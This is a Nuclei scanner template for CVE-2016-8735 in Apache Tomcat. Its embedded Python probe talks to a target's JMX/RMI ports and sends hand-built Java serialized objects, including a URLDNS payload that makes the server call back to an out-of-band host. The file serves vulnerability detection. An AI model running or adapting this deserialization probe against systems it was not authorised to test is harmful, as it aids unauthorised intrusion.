Files
nuclei-templates/code/cves/2016/CVE-2016-8735.yaml
Prince Chaddha ffff5f2093 Fix duplicate impact and remediation fields in 129 CVE templates
Remove duplicate field entries that were causing YAML parsing errors.
Each affected template now has only one instance of impact and remediation fields.
2025-12-15 17:40:56 +05:30

87 lines
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YAML

id: CVE-2016-8735
info:
name: Apache Tomcat - Remote Code Execution via JMX Ports
author: hnd3884
severity: critical
description: |
Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely.
impact: |
Attackers with network access can execute arbitrary commands remotely without authentication by exploiting the exposed unauthenticated Tomcat manager, achieving complete server compromise.
remediation: |
Restrict access to the Tomcat manager interface, enable authentication, and upgrade to a patched version of Apache Tomcat.
reference:
- https://medium.com/tenable-techblog/achieving-rce-on-tomcat-via-cve-2016-8735-a-proof-of-concept-13df8a9ef0e0
- https://nvd.nist.gov/vuln/detail/cve-2016-8735
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2016-8735
epss-score: 0.93875
epss-percentile: 0.9986
cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
metadata:
shodan-query: product:"tomcat"
vendor: apache
product: tomcat
tags: cve,cve2016,apache,tomcat,rce,kev,vkev,vuln
variables:
OAST: "{{interactsh-url}}"
HOST: "{{Host}}"
RMI_REGISTRY_PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import socket
import os
OAST, HOST, PORT = os.getenv('OAST'), os.getenv('HOST'), int(os.getenv('RMI_REGISTRY_PORT'))
### Initialize socket and connect to RMI server, Locate "UnicastRef2" and extract rmiServerPort ###
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((HOST, PORT))
s1.send(bytes.fromhex("4a524d4900024b"));s1.recv(4096)
s1.send(bytes.fromhex("000c31302e36352e3135372e313000000000"))
s1.send(bytes.fromhex("50aced00057722000000000000000000000000000000000000000000000000000244154dc9d4e63bdf7400066a6d78726d69"))
response = s1.recv(4096)
following_bytes = response[response.find(b"UnicastRef2") + len("UnicastRef2") + 1:]
rmiServerPort = int(following_bytes[:2].hex(), 16)
rmiServerPort = int(following_bytes[2:][rmiServerPort + 1:rmiServerPort + 4].hex(), 16)
### Exploit rmiServerPort ###
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((HOST, rmiServerPort))
s2.send(bytes.fromhex("4a524d4900024b"));s2.recv(4096)
s2.send(bytes.fromhex("000c31302e36352e3135372e313000000000"))
s2.send(bytes.fromhex("50aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078702d4f7f1ffa7877b4737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e69717565707870800100000192f5ff701a9cb3f67477088000000000000000737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008f1c6fcc113e4dd097371007e0005800100000192f6835b0fb632f8a1"))
# URLDNS payload to detect unsafe deserialization
hex4 = "50aced000577222191ba09e57952f396b68ddb00000193151cdd268001fffffffff0e074eaad0caea8737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e0003707870ffffffffffffffff74002a6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e74000071007e00057400056874747073707874003268747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e78"
ind = hex4.find('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e')
hex4 = hex4[:ind-2] + hex(len(OAST))[2:] + hex4[ind:]
ind = hex4.find('68747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e')
hex4 = (hex4[:ind-2] + hex(len('https://'+OAST))[2:] + hex4[ind:]).replace('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e', OAST.encode().hex())
# Send serialized payload
s2.send(bytes.fromhex(hex4))
response = s2.recv(4096)
response = s2.recv(4096)
s2.close()
print(response.hex())
matchers:
- type: dsl
dsl:
# Check "Credentials should be String[] instead of java.util.HashMapur" in last response
- 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")'
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 490a0046304402206b8e3dd583224b74ea527410d3774e68b25a61d5a3672732950a6dc9c694a07702201888286b4b3c9c9faf510525d47b2b122a4b046f03226fd4c1b1fa3c7e4cfea8:41987585204b393149694b2205534b1a